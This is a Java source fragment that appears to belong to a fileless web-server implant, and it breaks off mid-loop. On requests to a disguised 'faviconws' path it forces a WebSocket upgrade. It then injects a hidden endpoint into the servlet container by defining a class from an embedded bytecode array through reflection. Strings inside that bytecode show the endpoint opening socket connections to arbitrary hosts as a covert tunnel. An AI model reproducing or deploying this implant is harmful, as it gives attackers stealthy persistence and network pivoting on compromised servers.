//    public static void doUpgrade(Object request,Object response,String path){
//        try {
//            SetHeader(request,"Connection","Upgrade");
//            SetHeader(request,"Sec-WebSocket-Version","13");
//            SetHeader(request,"Upgrade","websocket");
//            java.lang.reflect.Method getAttribute = MyRequest.getServletContext(request).getClass().getDeclaredMethod("getAttribute", String.class);
//            Object container = getAttribute.invoke(MyRequest.getServletContext(request), "javax.websocket.server.ServerContainer");
//            java.lang.reflect.Method findmap = container.getClass().getDeclaredMethod("findMapping",String.class);
//            Object find = findmap.invoke(container,path);
//            if (find == null) {
//                return;
//            }
//            java.lang.reflect.Field configField =  find.getClass().getDeclaredField("config");
//            configField.setAccessible(true);
//            Object serverEndpointConfig = configField.get(find);
//            java.lang.reflect.Field pathParamsField =  find.getClass().getDeclaredField("pathParams");
//            pathParamsField.setAccessible(true);
//            Object pathParams = pathParamsField.get(find);
//            java.lang.reflect.Method[] methodAll = container.getClass().getMethods();
//            for (java.lang.reflect.Method method : methodAll) {
//                if (method.getName().equals("doUpgrade")) {
//                    method.invoke(container, request, response, serverEndpointConfig, pathParams);
//                }
//            }
//        } catch (Exception e) {
//            e.printStackTrace();
//        }
//
//    }

    public static void doService(Object obj, String url, String method, java.io.InputStream in) {
        if (url.matches("/(.*)faviconws")) {
            java.util.Map objMap = (java.util.Map) obj;
            Object request = objMap.get("request");
            Object response = objMap.get("response");
            try {
//                injectws(request,pathPattern);
//                doUpgrade(request,response,pathPattern);
                ClassLoader loader = MyRequest.getServletContext(request).getClass().getClassLoader();
                SetHeader(request,"Connection","Upgrade");
                SetHeader(request,"Sec-WebSocket-Version","13");
                SetHeader(request,"Upgrade","websocket");
                java.lang.reflect.Method getAttribute = MyRequest.getServletContext(request).getClass().getDeclaredMethod("getAttribute", String.class);
                Object container = getAttribute.invoke(MyRequest.getServletContext(request), "javax.websocket.server.ServerContainer");
                Class Builder = loader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
                java.lang.reflect.Method create = Builder.getDeclaredMethod("create", Class.class, String.class);
                java.lang.reflect.Method bu = Builder.getDeclaredMethod("build");
                Class clazz;
                try {
                    clazz = loader.loadClass("vwsystem");
                } catch (ClassNotFoundException e) {
                    byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 49, 0, -14, 10, 0, 68, 0, 108, 9, 0, 67, 0, 109, 3, 0, 1, 0, 0, 10, 0, 61, 0, 110, 9, 0, 67, 0, 111, 7, 0, 112, 10, 0, 6, 0, 108, 9, 0, 67, 0, 113, 7, 0, 114, 10, 0, 9, 0, 108, 9, 0, 67, 0, 115, 10, 0, 61, 0, 116, 10, 0, 61, 0, 117, 10, 0, 65, 0, 118, 10, 0, 61, 0, 119, 10, 0, 6, 0, 120, 10, 0, 6, 0, 121, 10, 0, 61, 0, 122, 11, 0, 63, 0, 123, 11, 0, 63, 0, 124, 11, 0, 125, 0, 126, 10, 0, 67, 0, 127, 7, 0, -128, 10, 0, -127, 0, -126, 9, 0, 67, 0, -125, 10, 0, 67, 0, -124, 10, 0, -123, 0, -122, 9, 0, 67, 0, -121, 11, 0, 63, 0, -120, 11, 0, 63, 0, -119, 11, 0, 63, 0, -118, 11, 0, 63, 0, -117, 7, 0, -116, 10, 0, 33, 0, -126, 10, 0, 58, 0, -115, 10, 0, -123, 0, -114, 7, 0, -113, 10, 0, 61, 0, -112, 10, 0, 37, 0, -111, 8, 0, -110, 10, 0, 37, 0, -109, 8, 0, -108, 10, 0, 58, 0, -107, 10, 0, 65, 0, -106, 7, 0, -105, 10, 0, 45, 0, -104, 10, 0, 58, 0, -103, 5, 0, 0, 0, 0, 0, 0, 0, 10, 9, 0, -102, 0, -101, 11, 0, -100, 0, -99, 8, 0, -98, 11, 0, 125, 0, -97, 11, 0, 63, 0, -96, 10, 0, 9, 0, -95, 8, 0, -94, 10, 0, 9, 0, -93, 7, 0, -92, 10, 0, 58, 0, -91, 11, 0, -100, 0, -90, 7, 0, -89, 10, 0, 67, 0, -88, 7, 0, -87, 10, 0, 67, 0, -86, 7, 0, -85, 10, 0, 67, 0, -84, 7, 0, -83, 7, 0, -82, 7, 0, -80, 7, 0, -79, 1, 0, 7, 115, 101, 115, 115, 105, 111, 110, 1, 0, 25, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 1, 0, 5, 102, 105, 114, 115, 116, 1, 0, 19, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 66, 111, 111, 108, 101, 97, 110, 59, 1, 0, 6, 99, 108, 105, 101, 110, 116, 1, 0, 45, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 110, 110, 101, 108, 115, 47, 65, 115, 121, 110, 99, 104, 114, 111, 110, 111, 117, 115, 83, 111, 99, 107, 101, 116, 67, 104, 97, 110, 110, 101, 108, 59, 1, 0, 6, 98, 117, 102, 102, 101, 114, 1, 0, 21, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 66, 121, 116, 101, 66, 117, 102, 102, 101, 114, 59, 1, 0, 4, 98, 97, 111, 115, 1, 0, 31, 76, 106, 97, 118, 97, 47, 105, 111, 47, 66, 121, 116, 101, 65, 114, 114, 97, 121, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 3, 109, 97, 112, 1, 0, 19, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 72, 97, 115, 104, 77, 97, 112, 59, 1, 0, 9, 83, 105, 103, 110, 97, 116, 117, 114, 101, 1, 0, 84, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 72, 97, 115, 104, 77, 97, 112, 60, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 110, 110, 101, 108, 115, 47, 65, 115, 121, 110, 99, 104, 114, 111, 110, 111, 117, 115, 83, 111, 99, 107, 101, 116, 67, 104, 97, 110, 110, 101, 108, 59, 62, 59, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 9, 99, 111, 109, 112, 108, 101, 116, 101, 100, 1, 0, 47, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 73, 110, 116, 101, 103, 101, 114, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 41, 86, 1, 0, 6, 102, 97, 105, 108, 101, 100, 1, 0, 49, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 104, 114, 111, 119, 97, 98, 108, 101, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 41, 86, 1, 0, 9, 111, 110, 77, 101, 115, 115, 97, 103, 101, 1, 0, 24, 40, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 66, 121, 116, 101, 66, 117, 102, 102, 101, 114, 59, 41, 86, 1, 0, 6, 111, 110, 79, 112, 101, 110, 1, 0, 60, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 67, 111, 110, 102, 105, 103, 59, 41, 86, 1, 0, 7, 111, 110, 67, 108, 111, 115, 101, 1, 0, 57, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 67, 108, 111, 115, 101, 82, 101, 97, 115, 111, 110, 59, 41, 86, 1, 0, 14, 114, 101, 97, 100, 70, 114, 111, 109, 83, 101, 114, 118, 101, 114, 1, 0, 73, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 110, 110, 101, 108, 115, 47, 65, 115, 121, 110, 99, 104, 114, 111, 110, 111, 117, 115, 83, 111, 99, 107, 101, 116, 67, 104, 97, 110, 110, 101, 108, 59, 41, 86, 1, 0, 7, 112, 114, 111, 99, 101, 115, 115, 1, 0, 49, 40, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 66, 121, 116, 101, 66, 117, 102, 102, 101, 114, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 41, 86, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 42, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 104, 114, 111, 119, 97, 98, 108, 101, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 5, 87, 104, 111, 108, 101, 1, 0, 12, 73, 110, 110, 101, 114, 67, 108, 97, 115, 115, 101, 115, 1, 0, -86, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 60, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 66, 121, 116, 101, 66, 117, 102, 102, 101, 114, 59, 62, 59, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 110, 110, 101, 108, 115, 47, 67, 111, 109, 112, 108, 101, 116, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 60, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 73, 110, 116, 101, 103, 101, 114, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 62, 59, 12, 0, 85, 0, 86, 12, 0, 75, 0, 76, 12, 0, -78, 0, -77, 12, 0, 77, 0, 78, 1, 0, 29, 106, 97, 118, 97, 47, 105, 111, 47, 66, 121, 116, 101, 65, 114, 114, 97, 121, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109, 12, 0, 79, 0, 80, 1, 0, 17, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 72, 97, 115, 104, 77, 97, 112, 12, 0, 81, 0, 82, 12, 0, -76, 0, -75, 12, 0, -74, 0, -73, 12, 0, -72, 0, -71, 12, 0, -70, 0, -69, 12, 0, -68, 0, -67, 12, 0, -66, 0, -65, 12, 0, -64, 0, -63, 12, 0, -62, 0, -73, 12, 0, -61, 0, -59, 7, 0, -57, 12, 0, -56, 0, 93, 12, 0, 98, 0, 99, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 7, 0, -55, 12, 0, -54, 0, 86, 12, 0, 71, 0, 72, 12, 0, 100, 0, 101, 7, 0, -53, 12, 0, -52, 0, -51, 12, 0, 73, 0, 74, 12, 0, -50, 0, -49, 12, 0, -48, 0, -49, 12, 0, -47, 0, -46, 12, 0, -45, 0, 86, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 79, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, -44, 0, -43, 12, 0, -42, 0, -73, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 12, 0, -41, 0, -65, 12, 0, 85, 0, -40, 1, 0, 1, 32, 12, 0, -39, 0, -38, 1, 0, 1, 58, 12, 0, -37, 0, -36, 12, 0, -35, 0, -34, 1, 0, 26, 106, 97, 118, 97, 47, 110, 101, 116, 47, 73, 110, 101, 116, 83, 111, 99, 107, 101, 116, 65, 100, 100, 114, 101, 115, 115, 12, 0, 85, 0, -33, 12, 0, -32, 0, -31, 7, 0, -30, 12, 0, -29, 0, -28, 7, 0, -27, 12, 0, -70, 0, -26, 1, 0, 36, 72, 84, 84, 80, 47, 49, 46, 49, 32, 53, 48, 51, 32, 83, 101, 114, 118, 105, 99, 101, 32, 85, 110, 97, 118, 97, 105, 108, 97, 98, 108, 101, 13, 10, 13, 10, 12, 0, -25, 0, -24, 12, 0, -23, 0, -22, 12, 0, -21, 0, -20, 1, 0, 39, 72, 84, 84, 80, 47, 49, 46, 49, 32, 50, 48, 48, 32, 67, 111, 110, 110, 101, 99, 116, 105, 111, 110, 32, 69, 115, 116, 97, 98, 108, 105, 115, 104, 101, 100, 13, 10, 13, 10, 12, 0, -70, 0, -19, 1, 0, 43, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 110, 110, 101, 108, 115, 47, 65, 115, 121, 110, 99, 104, 114, 111, 110, 111, 117, 115, 83, 111, 99, 107, 101, 116, 67, 104, 97, 110, 110, 101, 108, 12, 0, -68, 0, -18, 12, 0, -70, 0, -17, 1, 0, 19, 106, 97, 118, 97, 47, 110, 105, 111, 47, 66, 121, 116, 101, 66, 117, 102, 102, 101, 114, 12, 0, 92, 0, 93, 1, 0, 23, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 12, 0, 90, 0, 91, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 73, 110, 116, 101, 103, 101, 114, 12, 0, 88, 0, 89, 1, 0, 8, 118, 119, 115, 121, 115, 116, 101, 109, 1, 0, 24, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 7, 0, -16, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 1, 0, 35, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 110, 110, 101, 108, 115, 47, 67, 111, 109, 112, 108, 101, 116, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 1, 0, 8, 97, 108, 108, 111, 99, 97, 116, 101, 1, 0, 24, 40, 73, 41, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 66, 121, 116, 101, 66, 117, 102, 102, 101, 114, 59, 1, 0, 5, 99, 108, 101, 97, 114, 1, 0, 19, 40, 41, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 66, 117, 102, 102, 101, 114, 59, 1, 0, 12, 104, 97, 115, 82, 101, 109, 97, 105, 110, 105, 110, 103, 1, 0, 3, 40, 41, 90, 1, 0, 8, 105, 110, 116, 86, 97, 108, 117, 101, 1, 0, 3, 40, 41, 73, 1, 0, 3, 103, 101, 116, 1, 0, 27, 40, 91, 66, 73, 73, 41, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 66, 121, 116, 101, 66, 117, 102, 102, 101, 114, 59, 1, 0, 5, 119, 114, 105, 116, 101, 1, 0, 7, 40, 91, 66, 73, 73, 41, 86, 1, 0, 11, 116, 111, 66, 121, 116, 101, 65, 114, 114, 97, 121, 1, 0, 4, 40, 41, 91, 66, 1, 0, 4, 119, 114, 97, 112, 1, 0, 25, 40, 91, 66, 41, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 66, 121, 116, 101, 66, 117, 102, 102, 101, 114, 59, 1, 0, 6, 105, 115, 79, 112, 101, 110, 1, 0, 14, 103, 101, 116, 66, 97, 115, 105, 99, 82, 101, 109, 111, 116, 101, 1, 0, 5, 66, 97, 115, 105, 99, 1, 0, 40, 40, 41, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 59, 7, 0, -15, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 1, 0, 10, 115, 101, 110, 100, 66, 105, 110, 97, 114, 121, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 104, 114, 111, 119, 97, 98, 108, 101, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 66, 111, 111, 108, 101, 97, 110, 1, 0, 7, 118, 97, 108, 117, 101, 79, 102, 1, 0, 22, 40, 90, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 66, 111, 111, 108, 101, 97, 110, 59, 1, 0, 29, 115, 101, 116, 77, 97, 120, 66, 105, 110, 97, 114, 121, 77, 101, 115, 115, 97, 103, 101, 66, 117, 102, 102, 101, 114, 83, 105, 122, 101, 1, 0, 4, 40, 73, 41, 86, 1, 0, 27, 115, 101, 116, 77, 97, 120, 84, 101, 120, 116, 77, 101, 115, 115, 97, 103, 101, 66, 117, 102, 102, 101, 114, 83, 105, 122, 101, 1, 0, 17, 97, 100, 100, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 35, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 59, 41, 86, 1, 0, 5, 99, 108, 111, 115, 101, 1, 0, 4, 114, 101, 97, 100, 1, 0, 79, 40, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 66, 121, 116, 101, 66, 117, 102, 102, 101, 114, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 110, 110, 101, 108, 115, 47, 67, 111, 109, 112, 108, 101, 116, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 59, 41, 86, 1, 0, 12, 98, 111, 111, 108, 101, 97, 110, 86, 97, 108, 117, 101, 1, 0, 5, 97, 114, 114, 97, 121, 1, 0, 5, 40, 91, 66, 41, 86, 1, 0, 5, 115, 112, 108, 105, 116, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 4, 111, 112, 101, 110, 1, 0, 47, 40, 41, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 110, 110, 101, 108, 115, 47, 65, 115, 121, 110, 99, 104, 114, 111, 110, 111, 117, 115, 83, 111, 99, 107, 101, 116, 67, 104, 97, 110, 110, 101, 108, 59, 1, 0, 8, 112, 97, 114, 115, 101, 73, 110, 116, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 73, 1, 0, 22, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 73, 41, 86, 1, 0, 7, 99, 111, 110, 110, 101, 99, 116, 1, 0, 55, 40, 76, 106, 97, 118, 97, 47, 110, 101, 116, 47, 83, 111, 99, 107, 101, 116, 65, 100, 100, 114, 101, 115, 115, 59, 41, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 99, 111, 110, 99, 117, 114, 114, 101, 110, 116, 47, 70, 117, 116, 117, 114, 101, 59, 1, 0, 29, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 99, 111, 110, 99, 117, 114, 114, 101, 110, 116, 47, 84, 105, 109, 101, 85, 110, 105, 116, 1, 0, 7, 83, 69, 67, 79, 78, 68, 83, 1, 0, 31, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 99, 111, 110, 99, 117, 114, 114, 101, 110, 116, 47, 84, 105, 109, 101, 85, 110, 105, 116, 59, 1, 0, 27, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 99, 111, 110, 99, 117, 114, 114, 101, 110, 116, 47, 70, 117, 116, 117, 114, 101, 1, 0, 52, 40, 74, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 99, 111, 110, 99, 117, 114, 114, 101, 110, 116, 47, 84, 105, 109, 101, 85, 110, 105, 116, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 1, 0, 8, 115, 101, 110, 100, 84, 101, 120, 116, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 5, 103, 101, 116, 73, 100, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 3, 112, 117, 116, 1, 0, 56, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 1, 0, 52, 40, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 66, 121, 116, 101, 66, 117, 102, 102, 101, 114, 59, 41, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 99, 111, 110, 99, 117, 114, 114, 101, 110, 116, 47, 70, 117, 116, 117, 114, 101, 59, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 0, 33, 0, 67, 0, 68, 0, 2, 0, 69, 0, 70, 0, 6, 0, 2, 0, 71, 0, 72, 0, 0, 0, 2, 0, 73, 0, 74, 0, 0, 0, 2, 0, 75, 0, 76, 0, 0, 0, 18, 0, 77, 0, 78, 0, 0, 0, 2, 0, 79, 0, 80, 0, 0, 0, 18, 0, 81, 0, 82, 0, 1, 0, 83, 0, 0, 0, 2, 0, 84, 0, 11, 0, 1, 0, 85, 0, 86, 0, 1, 0, 87, 0, 0, 0, 53, 0, 3, 0, 1, 0, 0, 0, 41, 42, -73, 0, 1, 42, 1, -75, 0, 2, 42, 18, 3, -72, 0, 4, -75, 0, 5, 42, -69, 0, 6, 89, -73, 0, 7, -75, 0, 8, 42, -69, 0, 9, 89, -73, 0, 10, -75, 0, 11, -79, 0, 0, 0, 0, 0, 1, 0, 88, 0, 89, 0, 1, 0, 87, 0, 0, 0, -63, 0, 4, 0, 6, 0, 0, 0, -83, 42, -76, 0, 5, -74, 0, 12, 87, 42, -76, 0, 5, -74, 0, 13, -103, 0, 102, 43, -74, 0, 14, -101, 0, 95, 43, -74, 0, 14, -68, 8, 78, 42, -76, 0, 5, 45, 3, 43, -74, 0, 14, -74, 0, 15, 58, 4, 42, -76, 0, 8, 45, 3, 43, -74, 0, 14, -74, 0, 16, 42, -76, 0, 8, -74, 0, 17, -72, 0, 18, 58, 5, 44, -71, 0, 19, 1, 0, -103, 0, 16, 44, -71, 0, 20, 1, 0, 25, 5, -71, 0, 21, 2, 0, 42, -69, 0, 6, 89, -73, 0, 7, -75, 0, 8, 42, 44, 42, -76, 0, 2, -73, 0, 22, -89, 0, 54, 43, -74, 0, 14, -98, 0, 47, 43, -74, 0, 14, -68, 8, 78, 42, -76, 0, 5, 45, 3, 43, -74, 0, 14, -74, 0, 15, 58, 4, 42, -76, 0, 8, 45, 3, 43, -74, 0, 14, -74, 0, 16, 42, 44, 42, -76, 0, 2, -73, 0, 22, -89, 0, 4, 78, -79, 0, 1, 0, 8, 0, -88, 0, -85, 0, 23, 0, 0, 0, 1, 0, 90, 0, 91, 0, 1, 0, 87, 0, 0, 0, 17, 0, 1, 0, 3, 0, 0, 0, 5, 43, -74, 0, 24, -79, 0, 0, 0, 0, 0, 1, 0, 92, 0, 93, 0, 1, 0, 87, 0, 0, 0, 47, 0, 3, 0, 3, 0, 0, 0, 27, 43, -74, 0, 12, 87, 42, 43, 42, -76, 0, 25, -73, 0, 26, 42, 3, -72, 0, 27, -75, 0, 28, -89, 0, 4, 77, -79, 0, 1, 0, 0, 0, 22, 0, 25, 0, 23, 0, 0, 0, 1, 0, 94, 0, 95, 0, 1, 0, 87, 0, 0, 0, 49, 0, 2, 0, 3, 0, 0, 0, 37, 42, 4, -72, 0, 27, -75, 0, 28, 42, 43, -75, 0, 25, 43, 18, 3, -71, 0, 29, 2, 0, 43, 18, 3, -71, 0, 30, 2, 0, 43, 42, -71, 0, 31, 2, 0, -79, 0, 0, 0, 0, 0, 1, 0, 96, 0, 97, 0, 1, 0, 87, 0, 0, 0, 35, 0, 1, 0, 4, 0, 0, 0, 15, 43, -71, 0, 32, 1, 0, -89, 0, 8, 78, 45, -74, 0, 34, -79, 0, 1, 0, 0, 0, 6, 0, 9, 0, 33, 0, 0, 0, 2, 0, 98, 0, 99, 0, 1, 0, 87, 0, 0, 0, 36, 0, 4, 0, 3, 0, 0, 0, 24, 42, 44, -75, 0, 2, 42, -76, 0, 5, -74, 0, 12, 87, 44, 42, -76, 0, 5, 43, 42, -74, 0, 35, -79, 0, 0, 0, 0, 0, 2, 0, 100, 0, 101, 0, 1, 0, 87, 0, 0, 0, -30, 0, 4, 0, 11, 0, 0, 0, -66, 42, -76, 0, 28, -74, 0, 36, -103, 0, -112, -69, 0, 37, 89, 43, -74, 0, 38, -73, 0, 39, 78, 45, 18, 40, -74, 0, 41, 58, 4, 25, 4, 4, 50, 18, 42, -74, 0, 41, 58, 5, -72, 0, 43, 58, 6, 25, 5, 4, 50, -72, 0, 44, 54, 7, -69, 0, 45, 89, 25, 5, 3, 50, 21, 7, -73, 0, 46, 58, 8, 25, 6, 25, 8, -74, 0, 47, 58, 9, 25, 9, 20, 0, 48, -78, 0, 50, -71, 0, 51, 4, 0, 87, -89, 0, 19, 58, 10, 44, -71, 0, 20, 1, 0, 18, 52, -71, 0, 53, 2, 0, -79, 42, -76, 0, 11, 44, -71, 0, 54, 1, 0, 25, 6, -74, 0, 55, 87, 42, 44, 25, 6, -73, 0, 22, 44, -71, 0, 20, 1, 0, 18, 56, -71, 0, 53, 2, 0, -89, 0, 37, 42, -76, 0, 11, 44, -71, 0, 54, 1, 0, -74, 0, 57, -64, 0, 58, 78, 45, 43, -74, 0, 59, -71, 0, 60, 1, 0, 87, 42, 44, 45, -73, 0, 22, -89, 0, 4, 78, -79, 0, 3, 0, 79, 0, 93, 0, 96, 0, 23, 0, 0, 0, 111, 0, -68, 0, 23, 0, 112, 0, -71, 0, -68, 0, 23, 0, 0, 16, 65, 0, 92, 0, 102, 0, 1, 0, 87, 0, 0, 0, 21, 0, 2, 0, 2, 0, 0, 0, 9, 42, 43, -64, 0, 61, -74, 0, 62, -79, 0, 0, 0, 0, 16, 65, 0, 90, 0, 103, 0, 1, 0, 87, 0, 0, 0, 22, 0, 3, 0, 3, 0, 0, 0, 10, 42, 43, 44, -64, 0, 63, -74, 0, 64, -79, 0, 0, 0, 0, 16, 65, 0, 88, 0, 104, 0, 1, 0, 87, 0, 0, 0, 25, 0, 3, 0, 3, 0, 0, 0, 13, 42, 43, -64, 0, 65, 44, -64, 0, 63, -74, 0, 66, -79, 0, 0, 0, 0, 0, 2, 0, 83, 0, 0, 0, 2, 0, 107, 0, 106, 0, 0, 0, 18, 0, 2, 0, 69, 0, -81, 0, 105, 6, 9, 0, 125, 0, -58, 0, -60, 6, 9};
                    java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                    m.setAccessible(true);
                    clazz = (Class) m.invoke(loader, bytes, 0, bytes.length);
                }
                Object bb = create.invoke(Builder, clazz, url);
                Object serverEndpointConfig = bu.invoke(bb);
                java.util.Map<String,String> pathParams = new java.util.HashMap<String,String>();
                java.lang.reflect.Method[] methodAll = container.getClass().getMethods();
                for (java.lang.reflect.Method m : methodAll) {
                    if (m.getName().equals("doUpgrade")) {
